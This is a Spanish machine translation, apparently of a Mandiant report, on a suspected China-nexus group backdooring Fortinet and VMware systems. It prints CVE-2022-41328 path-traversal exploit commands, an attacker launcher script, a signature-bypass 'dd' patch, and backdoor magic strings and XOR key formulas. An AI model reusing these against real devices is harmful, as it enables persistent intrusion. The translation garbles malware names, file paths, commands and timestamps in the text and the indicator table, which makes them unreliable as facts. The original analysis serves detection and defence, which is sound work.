banner
Centro de Noticias
La empresa está buscando candidatos de primer nivel.

fortinet cero

Sep 29, 2023

Los actores de amenazas de espionaje cibernético continúan apuntando a tecnologías que no admiten soluciones de detección y respuesta de punto final (EDR), como firewalls, dispositivos IoT, hipervisores y tecnologías VPN (por ejemplo, Fortinet, SonicWall, Pulse Secure y otros). Mandiant ha investigado docenas de intrusiones en organizaciones de base industrial de defensa (DIB), gobierno, tecnología y telecomunicaciones a lo largo de los años, donde presuntos grupos del nexo con China explotaron vulnerabilidades de día cero e implementaron malware personalizado para robar credenciales de usuario y mantener el acceso a largo plazo. a los entornos de las víctimas.

A menudo observamos operadores de espionaje cibernético que explotan vulnerabilidades de día cero e implementan malware personalizado en sistemas expuestos a Internet como un vector de ataque inicial. En esta publicación de blog, describimos escenarios en los que un presunto actor de amenazas del nexo entre China probablemente ya tenía acceso a los entornos de las víctimas y luego implementó puertas traseras en las soluciones de Fortinet y VMware como un medio para mantener el acceso persistente a los entornos. Esto implicó el uso de una vulnerabilidad local de día cero en FortiOS (CVE-2022-41328) y la implementación de varias familias de malware personalizadas en los sistemas Fortinet y VMware. Mandiant publicó detalles del ecosistema de malware de VMware en septiembre de 2022.

A mediados de 2022, Mandiant, en colaboración con Fortinet, investigó la explotación y el despliegue de malware en varias soluciones de Fortinet, incluidas FortiGate (cortafuegos), FortiManager (solución de gestión centralizada) y FortiAnalyzer (plataforma de informes, análisis y gestión de registros). Los siguientes pasos generalmente describen las acciones que tomó el actor de la amenaza:

Mandiant atribuye esta actividad a UNC3886, un grupo que sospechamos tiene un nexo con China y está asociado con el nuevo marco de malware de hipervisor VMware ESXi revelado en septiembre de 2022. En el momento de los compromisos del hipervisor ESXi, Mandiant observó que UNC3886 se conectaba directamente desde FortiGate y FortiManager. dispositivos a puertas traseras VIRTUALPITA en múltiples ocasiones.

Mandiant sospechó que los dispositivos FortiGate y FortiManager estaban comprometidos debido a las conexiones a VIRTUALPITA desde las direcciones IP de administración de Fortinet. Además, los dispositivos FortiGate con el modo de cumplimiento de los Estándares federales de procesamiento de información (FIPS) habilitados no se iniciaron después de que se reiniciaron más tarde. Cuando el modo FIPS está habilitado, una suma de verificación del sistema operativo se compara con la suma de verificación de una imagen limpia. Dado que el actor de la amenaza manipuló el sistema operativo, la comparación de la suma de verificación falló y FortiGate Firewalls no pudo iniciarse de forma protectora. Con la ayuda de Fortinet, Mandiant adquirió una imagen forense de estos dispositivos defectuosos, lo que provocó el descubrimiento del puerto ICMP que golpeaba la puerta trasera CASTLETAP.

UNC3886 apuntó a múltiples componentes del ecosistema de Fortinet antes de que se trasladaran lateralmente a la infraestructura de VMWare. Estos componentes y sus versiones asociadas, en el momento del compromiso, se enumeran a continuación:

Mandiant observó dos ciclos de vida de ataque distintos en los que el actor de amenazas abusó de las tecnologías de Fortinet para establecer el acceso a la red. El primero ocurrió cuando el actor de amenazas inicialmente obtuvo acceso al ecosistema de Fortinet mientras el dispositivo FortiManager estaba expuesto a Internet.

Durante este ciclo de vida del ataque, como se ve en la Figura 1, se implementaron puertas traseras disfrazadas de llamadas API legítimas (THINCRUST) en los dispositivos FortiAnalyzer y FortiManager. Una vez que se estableció la persistencia en los dos dispositivos, se usaron secuencias de comandos de FortiManager para implementar puertas traseras (CASTLETAP) en los dispositivos FortiGate. Mandiant observó conexiones SSH desde los dispositivos Fortinet a los servidores ESXi, seguido de la instalación de paquetes de instalación maliciosos de vSphere que contenían VIRTUALPITA y Puertas traseras VIRTUALPIE. Esto permitió al actor de amenazas el acceso persistente a los hipervisores y permitió al atacante ejecutar comandos en las máquinas virtuales invitadas.

Mandiant no tiene evidencia de que se haya utilizado una vulnerabilidad de día cero para obtener acceso inicial o implementar los VIB maliciosos al momento de escribir esta publicación. VIRTUALPITA y VIRTUALPIE se analizaron con más detalle en una publicación anterior del blog Mandiant publicada en septiembre de 2022.

El segundo ciclo de vida del ataque ocurrió donde los dispositivos FortiManager tenían listas de control de acceso (ACL) de red para restringir el acceso externo solo al puerto TCP 541 (protocolo de FortiGate a FortiManager). Durante este ciclo de vida de ataque, como se ve en la Figura 2, el actor de amenazas implementó una utilidad de redirección de tráfico de red (TABLEFLIP) y una puerta trasera de shell inversa (REPTILE) en el dispositivo FortiManager para eludir las nuevas ACL. Con las reglas de redirección establecidas por la utilidad TABLEFLIP, el actor de amenazas pudo acceder a la puerta trasera REPTILE directamente desde Internet para tener acceso continuo al entorno.

Los detalles técnicos que siguen describen la ruta de ataque tomada por el actor de amenazas cuando FortiManager estuvo inicialmente expuesto a Internet.

El análisis de Mandiant identificó que tras la conexión inicial a FortiManager, el actor de amenazas agregó el código de puerta trasera de Python a un archivo de marco web legítimo. Mandiant clasificó esta nueva familia de malware como THINCRUST.

El actor de amenazas modificó el archivo legítimo /usr/local/lib/python3.8/proj/util/urls.py para incluir una llamada API maliciosa adicional, show_device_info, que se puede ver en la Figura 3. Esto permitió que el actor de amenazas interactuara con el backdoor THINCRUST a través de solicitudes POST al URI "/p/util/show_device_info".

Cuando se envió una solicitud POST a la URL show_device_info, pasó la solicitud a la función get_device_info en /usr/local/lib/python3.8/proj/util/views.py. La función get_device_info contenía la puerta trasera THINCRUST que permitía al actor de amenazas ejecutar comandos, escribir archivos en el disco y leer archivos del disco según las cookies proporcionadas en la solicitud POST, como se ve en la Figura 4.

La función get_device_info dependía de la presencia de dos (2) cookies, FGMGTOKEN y DEVICEID, dentro de las solicitudes POST. La cookie FGMGTOKEN está cifrada con una clave RSA codificada en views.py y contenía una clave RC4 que descifraba los comandos recibidos a través de la cookie DEVICEID. El resultado descifrado de DEVICEID fue un diccionario codificado en JSON con las claves 'id' y 'key'. Como se ve en la Tabla 1, el valor 'id' determinaba qué acción ejecutar dentro de la puerta trasera, y el valor "clave" contenía una cadena que actuaba como argumento para la acción que se estaba realizando.

IDENTIFICACIÓN

Dominio

1

Ejecute la línea de comando almacenada en 'clave'

2

Escriba el contenido de la solicitud HTTP en el archivo almacenado en 'clave'. Los contenidos están encriptados RC4

3

Lea el contenido del archivo almacenado en 'clave' y transfiera el contenido cifrado RC4 al cliente

Aunque a la mayoría de los archivos en views.py se les aplicó el decorador @login_required [los decoradores son funciones (sintaxis para llamar al decorador: @) que amplían el comportamiento de otra función sin modificar explícitamente el código], se utilizó la función maliciosa get_device_info el módulo Django python nativo del sistema para agregar un decorador @csrf_exempt a la función como se ve en la Figura 5. Esto significa que la solicitud POST a la llamada a la API maliciosa no requirió un inicio de sesión o un token CSRF para ejecutarse correctamente.

Mandiant identificó que una variante de esta llamada API maliciosa también estaba presente en un dispositivo FortiAnalyzer. Si bien la función de puerta trasera en views.py, get_device_info, era la misma que en FortiManager, la llamada API utilizada para acceder a la puerta trasera se cambió a /p/utils/fortigate_syslog_send en el dispositivo FortiAnalyzer, como se ve en la Figura 6.

Después de que se estableció la persistencia en los dispositivos FortiManager y FortiAnalyzer con la puerta trasera THINCRUST, el actor de amenazas implementó scripts de FortiManager en múltiples firewalls FortiGate. Esta actividad se registró en el registro electrónico de FortiGate como se ve en la Figura 7.

vd="root"type="event"subtype="system"level="notice" logdesc="Cargar y ejecutar un script"user="Fortimanager_Access"ui="fgfmd"msg=" Usuario Fortimanager_Access a través de fgfmd cargar y ejecutar script : -- OK"

El actor de amenazas eliminó estos scripts de FortiManager del dispositivo FortiManager antes de que pudieran recuperarse para su análisis, pero la correlación de varios tipos de registro de eventos muestra que los scripts aprovecharon una vulnerabilidad de cruce de ruta (CVE-2022-41328). El actor de la amenaza aprovechó la vulnerabilidad mediante el comando ejecutar wireless-controller hs20-icon upload-icon (como se ve en la Figura 8). Este comando permitió al actor de amenazas sobrescribir archivos legítimos en un directorio del sistema normalmente restringido. Normalmente, el comando execute wireless-controller hs20-icon upload-icon se utiliza para cargar archivos .ico (archivos de iconos) desde un servidor a un firewall FortiGate mediante el Protocolo de transferencia de archivos ("FTP") o el Protocolo trivial de transferencia de archivos ("TFTP"). "), donde se pueden usar en los portales de registro en línea (OSU) de HotSpot 2.0. HotSpot 2.0 es una tecnología que permite que los dispositivos cambien sin problemas entre datos móviles y Wi-Fi público.

Sin embargo, el comando de ejecución del icono de carga del controlador inalámbrico hs20-icon sufría dos problemas. El comando no validaba el tipo de archivo que se estaba cargando y era susceptible a un exploit de cruce de directorios que permitía a un actor de amenazas con privilegios de superadministrador cargar un archivo de menos de 65 535 bytes en cualquier ubicación del sistema de archivos. Esto significa que, fuera de las restricciones de tamaño del comando, un actor de amenazas podría reemplazar cualquier archivo de sistema legítimo en el firewall de FortiGate.

La explotación exitosa de la vulnerabilidad (CVE-2022-41328) no se registra en los registros de FortiGate. Aproximadamente en el momento de la ejecución del script de FortiManager, los elogs registraron los intentos fallidos del actor de amenazas de sobrescribir el archivo del sistema /bin/lspci usando este exploit, que se ve en la Figura 8.

Fortinet confirmó que la explotación de este comando no se había visto antes de estos eventos y asignó la designación CVE-2022-41328. Fortinet replicó con éxito el exploit usando la sintaxis vista en los eventos de comando fallidos.

Se encontró más evidencia de intento de explotación en los eventos de registros de FortiGuard con "file_transfer: TFTP.Server.Buffer.Overflow repetido X veces" en el campo msg. Estos eventos mostraron conexiones desde los firewalls de FortiGate al dispositivo FortiAnalyzer, donde el contenido del paquete incluía la cadena transversal del directorio lscpi, como se ve en la Figura 9. También se hizo referencia a una cadena transversal del directorio con el nodo de nombre de archivo en un evento similar, que es otro binario en el directorio /bin/ de un dispositivo FortiGate 6.2.7, pero Mandiant solo observó que el actor de amenazas reemplazaba el binario lscpi con éxito.

PFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADw vUEFDS0VUPg==

Base 64 decodificado

..../../../../../../bin/lspci.octet.

Mandiant revisó las listas de archivos de varios firewalls de FortiGate en busca de versiones modificadas de /bin/lspci en función de los comandos fallidos vistos en los registros de FortiGate. En total, se identificaron dos variantes de /bin/lspci; una versión independiente del binario y una versión con enlace simbólico a /bin/sysctl. Fortinet confirmó que /bin/lspci siempre debería ser un binario independiente.

Las entradas de la lista de archivos para /bin/lspci y /bin/sysctl en los firewalls FortiGate comprometidos contenían marcas de tiempo similares que no se alineaban con otros archivos binarios legítimos en las máquinas FortiGate. Además, el tamaño del archivo para /bin/sysctl en el firewall FortiGate comprometido era mucho mayor que el informado en dispositivos no comprometidos.

En circunstancias normales, el comando 'diagnosticar hardware lscpi' se usa para enumerar los dispositivos PCIe conectados al firewall FortiGate, pero una vez que el actor de amenazas reemplazó el binario lspci legítimo con un enlace simbólico, el comando de diagnóstico podría ejecutar el archivo sysctl que el actor de amenazas modificó en su lugar. .

Los fragmentos de la lista de archivos en la Figura 10 y la Figura 11 resaltan las diferencias entre las versiones original y modificada de /bin/lspci y /bin/sysctl presentes en los firewalls de FortiGate.

COMPROMETIDO-FGT101F # fnsysctl ls -la /bin

...

lrwxrwxrwx 1 raíz raíz 9 18 de octubre 13:09 lldptx -> /bin/init

lrwxrwxrwx 1 raíz raíz 9 18 de octubre 13:09 lnkmtd -> /bin/init

lrwxrwxrwx 1 raíz raíz 11 19 de octubre 05:11 lspci -> /bin/sysctl

lrwxrwxrwx 1 raíz raíz 9 18 de octubre 13:09 lted -> /bin/init

lrwxrwxrwx 1 raíz raíz 9 18 de octubre 13:09 memuploadd -> /bin/init

...

-rwxr-xr-x 1 raíz raíz 1478216 19 de octubre 05:11 sysctl

...

NO COMPROMETIDO-FGT101F # fnsysctl ls -la /bin

...

lrwxrwxrwx 1 0 0 viernes 2 de septiembre 12:07:55 2022 9 lldptx -> /bin/init

lrwxrwxrwx 1 0 0 Gratis 2 de septiembre 12:07:55 2022 9 lnkmtd -> /bin/init

-rwxr-xr-x 1 0 0 viernes 2 de septiembre 12:07:55 2022 131736 lspci

lrwxrwxrwx 1 0 0 Gratis 2 de septiembre 12:07:55 2022 9 lted -> /bin/init

lrwxrwxrwx 1 0 0 Gratis 2 de septiembre 12:07:55 2022 9 memuuploadd -> /bin/init

...

-rwxr-xr-x 1 0 0 viernes 2 de septiembre 12:07:55 2022 251480 sysctl

...

Además de las diferencias en el tiempo y el tamaño de la modificación, la salida del comando de listado de archivos fnsysctl ls -l /bin mostraba varios campos en diferentes formatos y orden. Esto probablemente se deba a que el actor de amenazas reemplazó /bin/sysctl y, por lo tanto, cambió la funcionalidad de shell en el firewall FortiGate. Los cambios realizados en el sistema de archivos de FortiOS no son persistentes, por lo que no se pudieron recuperar los archivos para su análisis.

De manera predeterminada, los dispositivos Fortinet que ejecutan FortiOS tienen un archivo en el disco etiquetado como rootfs.gz dentro de la partición /data/. Al arrancar, este archivo se monta como el sistema de archivos raíz. Esto significa que si se realizan modificaciones en la imagen montada, los cambios no serán persistentes a menos que se escriban en el archivo rootfs.gz. Los firewalls de FortiGate no admiten la exportación de archivos desde el sistema de archivos montado durante el tiempo de ejecución. Dado que las modificaciones realizadas en /bin/lspci y /bin/sysctl no se escribieron en el archivo rootfs.gz, no se instalaron de forma persistente y no se pudieron analizar más.

Mandiant se coordinó con Fortinet para obtener una imagen forense de los firewalls FortiGate comprometidos e identificar mejor el contenido esperado de los dispositivos. Al comparar la imagen forense del firewall FortiGate comprometido con una versión en buen estado, Fortinet identificó un firmware troyano que contenía una puerta trasera persistente. Mandiant se refiere a la puerta trasera como una nueva familia de malware llamada CASTLETAP.

El análisis de los firewalls de FortiGate identificó un archivo malicioso adicional /bin/fgfm. El análisis de /bin/fgfm determinó que se trataba de una puerta trasera pasiva, denominada CASTLETAP, que escuchaba un paquete ICMP especializado para su activación. El actor de amenazas probablemente nombró al archivo 'fgfm' en un intento de disfrazar la puerta trasera como el servicio legítimo 'fgfmd' que facilita la comunicación entre los firewalls FortiManager y FortiGate.

Una vez ejecutado, CASTLETAP creó un socket promiscuo sin procesar para rastrear el tráfico de red. CASTLETAP luego filtró y XOR decodificó una cadena de activación mágica de 9 bytes en la carga útil de un paquete de solicitud de eco ICMP. La Tabla 2 muestra las cadenas mágicas interpretadas por CASTLETAP y sus acciones resultantes.

Cuerda Mágica

Descripción

1qaz@WSXa

Analice la información C2 de la carga útil de ICMP y conéctese a ella a través de SSL.

hpaVAj2FJ

Mata el proceso CASTLETAP.

Para decodificar la información C2 dentro del paquete ICMP, se derivó una clave XOR de un solo byte del sello de fecha Epoch para descifrar los datos de la carga útil. Esto significaba que el estándar de codificación cambiaba todos los días. La figura 12 muestra la fórmula que se utilizó para calcular la clave XOR.

((año + 1900 + mes * (año + 1900)) * fecha) % 255

La Tabla 3 define la estructura de carga útil del paquete ICMP esperado por CASTLETAP.

Índice/rango de bytes

Descripción de la sección de carga útil

<0x00-0x01>

<0x01-0x02>

<0x02-0x0c>

<0x0c-0x10>

<0x10-0x15>

Cuando se analizaron la dirección IP y el puerto de C2 del paquete de activación, CASTLETAP inició una conexión con C2 a través de un socket SSL. Una vez que se estableció esta conexión, CASTLETAP esperaba que el servidor C2 iniciara un protocolo de enlace con la secuencia de 16 bytes que se ve en la Figura 13, repitiendo la misma secuencia en respuesta.

0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D

Una vez conectado al C2, CASTLETAP podría aceptar múltiples tipos de comandos sobre SSL, como se ve en la Tabla 4.

Dominio

Descripción

0x1

Subir archivo (a la víctima)

0x2

Descargar archivo (de la víctima)

0x3

Genere un shell de comando basado en busybox, de lo contrario, recurra a un shell de comando normal.

0x4

Seguir recibiendo

0x5

Recibir completo

Cuando se recibió un comando con éxito, la puerta trasera devolvió la secuencia ';7(Zu9YTsA7qQ#vw' como un token de reconocimiento; esta misma cadena también se envió para señalar la finalización de la sesión.

Una vez que CASTLETAP se implementó en los firewalls FortiGate, el actor de amenazas se conectó a las máquinas ESXi y vCenter. El actor de amenazas implementó VIRTUALPITA y VIRTUALPIE para establecer la persistencia, lo que permitió el acceso continuo a los hipervisores y las máquinas invitadas. Esto se describe con más detalle en la publicación de blog, "Bad VIB(E)s Part One: Investigating Novel Malware Persistence within ESXi Hypervisors".

Los detalles técnicos que siguen describen la ruta de ataque tomada por el actor de amenazas donde FortiManager tenía listas de control de acceso (ACL) de red configuradas para restringir el acceso externo.

Cuando se implementaron las ACL en el dispositivo FortiManager, el actor de amenazas perdió el acceso público directo al dispositivo. Para recuperar el acceso a FortiManager, el actor de amenazas giró desde un FortiGate Firewall comprometido con CASTLETAP. Luego, el actor de amenazas implementó los siguientes tres (3) archivos maliciosos, que se ven en la Tabla 5, en FortiManager luego de una reconexión exitosa.

Familia de malware

Ruta de archivo

Descripción

N / A

/bin/soporte

Inicia /bin/auth y /bin/klogd y elimina los dos archivos junto con /bin/support del disco.

TABLERO

/bin/autorización

Una utilidad pasiva para configurar la redirección del tráfico de red desde una dirección IP específica destinada a FortiManager en el puerto TCP 541 a otro puerto especificado.

REPTIL

/bin/klogd

Una utilidad de puerta trasera que escucha un paquete especializado para la activación.

El archivo /bin/support (MD5: 9ce2459168cf4b5af494776a70e0feda) sirvió como script de inicio para ejecutar /bin/klogd (variante REPTILE) y /bin/auth (TABLEFLIP). El atacante modificó el archivo de inicio /etc/init.d/localnet para ejecutar la línea 'nohup /bin/support &' para que el script se ejecutara cada vez que se reiniciara el sistema. Dado que el sistema de archivos de FortiOS en ejecución era una copia efímera del archivo rootfs.gz, los archivos se eliminarían de la copia efímera después de cargarlos en la memoria y persistirían en el archivo rootfs.gz, un archivo al que no pueden acceder los usuarios sin realizar un análisis forense. imagen. El contenido de /bin/support se puede ver en la Figura 14.

#!/bin/bash

#cp /bin/sh /bin/superior

dormir 30

/bin/klogd

/bin/autorización

rm -rf /bin/klogd

rm -rf /nohup.fuera

rm -rf /bin/soporte

Para permitir el acceso continuo directamente desde Internet, el actor de amenazas implementó TABLEFLIP (MD5: b6e92149efaf78e9ce7552297505b9d5), una utilidad de redirección de tráfico pasivo que escucha en todas las interfaces activas los paquetes de comandos especializados. Con esta utilidad en su lugar, e independientemente de las ACL en su lugar, el actor de amenazas podría conectarse directamente a FortiManager como se ve en la Figura 15.

TABLEFLIP se configuró para escuchar paquetes TCP en todas las interfaces activas y busca al comienzo de la carga útil de TCP el siguiente paquete mágico, que se muestra en la Figura 16, para paquetes destinados al puerto TCP 541.

17 03 01 01 D8 54 2F 31

Si se encontraba el número mágico, el malware extraía una clave XOR del desplazamiento 0xB de la carga útil de TCP. Esta clave se usó como semilla para el descifrado secuencial basado en XOR. El desplazamiento de la carga útil TCP 0xC en adelante se descifró utilizando este esquema. La figura 17 muestra la estructura de la carga útil.

estructura _carga útil

{

_DWORD magic_dword1;

_DWORD magic_dword2;

_BYTE sin usar[3];

_BYTE xor_key;

Comando _DWORD;

IP _DWORD;

_Palabra puerto;

};

Luego, el malware intentó extraer el comando, la IP y el puerto de la carga útil. La Tabla 6 describe el comando y las acciones realizadas cuando se reconoce un comando.

Dominio

Descripción

0xFFFEFDFC

Habilite la redirección para el tráfico con la IP de origen que coincida con la IP extraída y el puerto 541 con el puerto de destino extraído

0xFCFDFEFF

Deshabilite la redirección para el tráfico con IP de origen que coincida con la IP extraída y el puerto de destino especificado

La redirección del tráfico se logró agregando reglas de iptables en el sistema FortiManager, como se ve en la Figura 18, con la IP de origen y el puerto de redirección especificados en el paquete de comandos. Se ejecutó iptables para verificar si ya existía una regla PREROUTING para esa combinación de IP y puerto. Si no se encontraba la combinación, se agregaba una nueva regla de redirección en la cadena PREROUTING. Las reglas bajo la cadena PREROUTING se procesan inmediatamente una vez que se recibe el paquete en una interfaz.

Cuando se asignó la eliminación de la redirección de tráfico, TABLEFLIP utilizó el comando grep para filtrar en todas las líneas de la cadena PREROUTING que contenían la dirección IP y el puerto de redirección de interés, capturando las identificaciones de regla apropiadas con awk. Estas identificaciones se devolvieron a iptables con xargs para eliminarlas de la cadena PREROUTING, como se ve en la Figura 19.

Para lograr un acceso persistente en el dispositivo FortiManager, el actor de amenazas implementó una puerta trasera con el nombre de archivo /bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d) a la que Mandiant se refiere como REPTILE, una variante de un rootkit del módulo del kernel de Linux (LKM) disponible públicamente. Con la ayuda de TABLEFLIP, el actor de amenazas pudo reenviar el tráfico y acceder con éxito a la puerta trasera REPTILE utilizando las reglas de redirección de tráfico de iptables.

Una vez ejecutado, REPTILE creó un socket de paquete para recibir paquetes de capa 2 de OSI. Cuando se recibía un paquete, la puerta trasera realizaba la verificación que se ve en el pseudocódigo de la Figura 20 para determinar si había una cadena mágica presente.

single_byte_xor_key = (mes * año) * día % 255

índice = 2 * datos_recibidos_en_puerto_8[7];

data_to_decode_ptr = *((char *)&data[index + 12] + 1)

yo = 0

while ( i < strlen(data_to_decode) ) decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key;

strncmp(&datos_decodificados, "mznCvqSBo", 9)

La Tabla 7 muestra las cadenas mágicas interpretadas por REPTILE y sus acciones resultantes.

Cuerda Mágica

Descripción

mznCvqSBo

Analiza la información C2 del paquete de capa 2 de OSI y se conecta a él a través de SSL.

hpaVAj2FJ

Mata el proceso REPTILE (solo se busca si no se encuentra la primera cadena mágica)

De manera similar al método utilizado por CASTLETAP para decodificar la información C2, REPTILE derivó una clave XOR de un solo byte del sello de fecha Epoch para descifrar los datos de la carga útil, lo que provocó que la clave de cifrado cambiara diariamente. La figura 21 muestra la fórmula que se utilizó para calcular la clave XOR.

(mes * (año + 1900)) * día % 255

Si se encontraba la cadena mágica "mznCvqSBo", se creaba un shell inverso con la dirección IP de C2 y el puerto de destino extraídos del resto de la carga útil del paquete de activación. Cuando la primera cadena mágica no estaba presente, el binario buscaba la segunda cadena mágica "hpaVAj2FJ". Si se encuentra esta segunda cadena mágica, el proceso REPTILE finalizará. Si no se encuentran cadenas mágicas, la puerta trasera continúa escuchando otras conexiones.

Mandiant analizó la memoria del sistema de FortiManager e identificó los comandos del actor de amenazas utilizados para borrar eventos específicos que contenían la dirección IP del actor de amenazas de múltiples fuentes de registro. El actor de amenazas utilizó los comandos que se ven en la Figura 22 para eliminar las entradas de registro que contenían la dirección IP utilizada para conectarse a la puerta trasera THINCRUST.

En un intento por omitir las verificaciones de verificación de firmas digitales realizadas en el sistema de archivos en el arranque, el actor de amenazas agregó el comando que se ve en la Figura 23 a la configuración de inicio /etc/init.d/localnet dentro del archivo rootfs.gz de FortiManager y FortiAnalyzer dispositivos.

Al comparar el /bin/smit comprometido (a388ebaef45add5da503e4bf2b9da546) con una versión limpia de FortiManager y FortiAnalyzer, el binario modificado contenía una diferencia de un solo byte. La ubicación modificada dentro de /bin/smit se ejecuta cuando se proporciona el argumento de la línea de comando de montaje al iniciar el sistema. Normalmente, la función de montaje realizaría comprobaciones de verificación de firma digital de OpenSSL 1.1.0 en los archivos de la Figura 24 contra /data/.fmg_sign, pero esta modificación cambió una instrucción de salto condicional a una instrucción de salto incondicional que siempre omitió las comprobaciones de verificación de firma digital que normalmente se realizan en los archivos del sistema.

/datos/extlinux.sys

/datos/extlinux.conf

/datos/boot.msg

/datos/vmlinuz

/datos/rootfse-fe

Dado que el comando de montaje se ejecuta antes de /etc/init.d/localnet en el inicio del sistema, el comando dd sobrescribirá el byte 22,866 de /bin/smit con el carácter "t", revirtiendo el binario a un estado que aparece como si nunca fue manipulado, incluso si el archivo fue modificado.

UNC3886 es un grupo de ciberespionaje avanzado con capacidades únicas en la forma en que operan en la red, así como las herramientas que utilizan en sus campañas. Se ha observado que UNC3886 se dirige a tecnologías de firewall y virtualización que carecen de compatibilidad con EDR. Su capacidad para manipular el firmware del firewall y explotar un día cero indica que han adquirido un nivel más profundo de comprensión de tales tecnologías. UNC3886 ha modificado el malware disponible públicamente, dirigido específicamente a los sistemas operativos *nix.

Recientemente se observó otro grupo de amenazas no relacionado con UNC3886, que se sospecha que proviene de China, apuntando a vulnerabilidades de día cero en Fortinet, según lo informado por Mandiant a mediados de enero de 2023. Mandiant continúa recopilando evidencia e identificando superposiciones entre UNC3886 y otros grupos que se atribuyen al APT chino.

La actividad discutida en esta publicación de blog es una prueba más de que los actores de amenazas de espionaje cibernético avanzado están aprovechando cualquier tecnología disponible para persistir y atravesar un entorno de destino, especialmente aquellas tecnologías que no admiten soluciones EDR. Esto presenta un desafío único para los investigadores, ya que muchos dispositivos de red carecen de soluciones para detectar modificaciones en el tiempo de ejecución realizadas en el sistema operativo subyacente y requieren la participación directa del fabricante para recopilar imágenes forenses. La comunicación y colaboración entre organizaciones es clave para proporcionar a los fabricantes un aviso temprano de los nuevos métodos de ataque en la naturaleza antes de que se hagan públicos y a los investigadores con experiencia para arrojar mejor luz sobre estos nuevos ataques.

Mandiant recomienda a las organizaciones que utilizan ESXi y el conjunto de infraestructura de VMware que sigan los pasos de refuerzo descritos en esta publicación de blog para minimizar la superficie de ataque de los hosts ESXi.

Un agradecimiento especial a Jeremy Koppen, Kirstie Failey, Bryce Bucklin, Jay Smith, Nicholas Luedtke, Ronnie Salomonsen, Nino Isakovic, Charles Carmakal y Fortinet PSIRT por su ayuda con la investigación, la revisión técnica y la creación de detecciones para las familias de malware analizadas en este entrada en el blog. Además, también nos gustaría agradecer a Fortinet y VMware por su colaboración en esta investigación.

Fortinet lanzó dos recursos adicionales que cubren CVE-2022-41328 y un análisis de la actividad del atacante identificado.

Impacto

Evasión de defensa

Acceso a Credenciales

Descubrimiento

Recopilación

Ejecución

Comando y control

Movimiento lateral

Tipo

Valores

Descripción

Comando FortiGate

ejecutar controlador inalámbrico hs20-icon icono de carga ftp ../../../../../../bin/lspci

El intento de ejecución de este comando o comandos similares que contengan un recorrido de directorio son indicativos de un intento de explotación de CVE-2022-41328 para cargar un archivo en un directorio normalmente restringido

Comando FortiGate

ejecutar controlador inalámbrico hs20-icon icono de carga tftp ../../../../../../bin/lspci

El intento de ejecución de este comando o comandos similares que contengan un recorrido de directorio son indicativos de un intento de explotación de CVE-2022-41328 para cargar un archivo en un directorio normalmente restringido

Nombre del archivo

/bin/fgfm

CASTLETAP Muestra encontrada en un dispositivo FortiGate

Archivo con enlace simbólico

/bin/lspci->/bin/sysctl

lspci debe ser un binario independiente dentro de los dispositivos FortiGate. Un enlace simbólico sugiere que se realizó una modificación en el sistema de archivos

URI

/p/util/show_device_info

Una llamada API creada por el actor de amenazas que actuó como una puerta trasera persistente en los dispositivos FortiManager

URI

/p/utils/fortigate_syslog_send

Una llamada API creada por el actor de amenazas que actuó como una puerta trasera persistente en los dispositivos FortiAnalyzer

Función Python

get_device_info

Se agregó una función de python maliciosa a /usr/local/lib/python3.8/proj/util/views.py en dispositivos FortiAnalyzer y FortiManager que proporcionó a los actores de amenazas una puerta trasera persistente

Nombre del archivo

/bin/soporte

Script de actor de amenazas que inicia /bin/auth (TABLEFLIP) y /bin/klogd (REPTILE) y elimina los dos archivos junto con /bin/support del disco

Nombre del archivo

/bin/autorización

Ejemplo de TABLEFLIP: una utilidad pasiva para configurar la redirección de tráfico desde una dirección IP específica destinada a FortiManager en TCP541 a otro puerto especificado.

Nombre del archivo

/bin/klogd

REPTILE: una utilidad de puerta trasera que escucha un paquete especializado para la activación

Cambio de configuración

imprimir "t" | dd of=/bin/smit bs=1 cuenta=1 conv=notrunc seek=22866 2>/dev/null

Cambio de configuración realizado en /etc/init.d/localnet en dispositivos FortiAnalyzer y FortiManager para revertir un binario después de que se modificó para omitir la verificación de firma digital de los archivos del sistema

MD5

9ce2459168cf4b5af494776a70e0feda

Script de actor de amenazas que inicia /bin/auth (TABLEFLIP) y /bin/klogd (REPTILE) y elimina los dos archivos junto con /bin/support del disco

MD5

b6e92149efaf78e9ce7552297505b9d5

Muestra de TABLERO

MD5

53a69adac914808eced2bf8155a7512d

Muestra de variante REPTIL

MD5

a388ebaef45add5da503e4bf2b9da546

/bin/smit modificado

MD5

88711ebc99e1390f1ce2f42a6de0654d

Ejemplo de red local

MD5

e2d2884869f48f40b32fb27cc3bdefff

CASTLETAP muestra

MD5

53a69adac914808eced2bf8155a7512d

Muestra de variante REPTIL

MD5

64bdf7a631bc76b01b985f1d46b35ea6

muestra de CORTEZA FINA

MD5

a86a8fe875a89816e5808588154a067e

muestra de CORTEZA FINA

MD5

3e43511c4f7f551290292394c4e21de7

Relacionados CORTEZA FINA

SHA1

75c092098e3409d366a46fdde6a92ff97d29cee1

Muestra de herrumbre

SHA1

9dca7f1af5752bb007e5cc55acd2511f03049ee5

Muestra de TABLERO

SHA1

8c40fc87fa3b25a559585b10a8ca11c81fb09f75

CASTLETAP muestra

SHA1

3109b890901499f7ebb90f8870a7d1617d27e7c9

Muestra de variante REPTIL

SHA1

b8bdaa1bd204a6c710875b0c4265655d1fd37d52

/bin/muestra de soporte

SHA1

1a077212735617a665a6b631e34a6aedcbc41713

muestra de CORTEZA FINA

SHA1

d5f8436e9815358e33b8243abda76c9b398943e2

muestra de CORTEZA FINA

SHA1

8ef5159944d048fe84e51a818c9b11ebcfa98517

Relacionados CORTEZA FINA

SHA256

245e4646e5d984c2da4cfe223bb2fae679441bcf42b254fc193ae97dc32af7ad

Ejemplo de red local

SHA256

9fb09fe6db61fbdd19ac9c368e2f64fb9606119649830762fa467719c480ed44

Muestra de herrumbre

SHA256

18afbad17dee0e4330a85b782e8e580c6125d8a7127cda69ad0e2728d505a6f5

Muestra de TABLERO

SHA256

a00fed53b1ece4610c8b52934c20af3667d455f092a77f8d9bc46fdb9047e41a

CASTLETAP muestra

SHA256

eb6af99148f0ce5b58e414162ff2b7567b4cf08953862a088996365ff306014b

Muestra de variante REPTIL

SHA256

